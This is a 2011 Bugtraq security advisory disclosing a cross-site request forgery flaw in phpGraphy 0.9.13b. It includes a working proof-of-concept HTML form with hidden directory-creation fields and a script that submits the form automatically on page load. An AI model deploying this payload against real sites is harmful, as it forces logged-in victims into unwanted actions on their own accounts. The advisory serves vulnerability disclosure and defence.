bugtraq - HTB22959: CSRF (Cross-Site Request Forgery) in phpGraphy

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Message-Id: <201104280909.p3S99GZw044402@htbridge.ch>
Date: Thu, 28 Apr 2011 11:09:16 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22959: CSRF (Cross-Site Request Forgery) in phpGraphy 

Vulnerability ID: HTB22959
Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_phpgraphy.html
Product: phpGraphy 
Vendor: http://phpgraphy.sourceforge.net/ ( http://phpgraphy.sourceforge.net/ ) 
Vulnerable Version: 0.9.13b
Vendor Notification: 14 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available: 


<form action="http://[host]/index.php" method="post" name="main" id="main">
<input type="hidden" name="createdirname" value="1">
<input type="hidden" name="dircreate" value="1">
<input type="hidden" name="dir" value="">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
</script>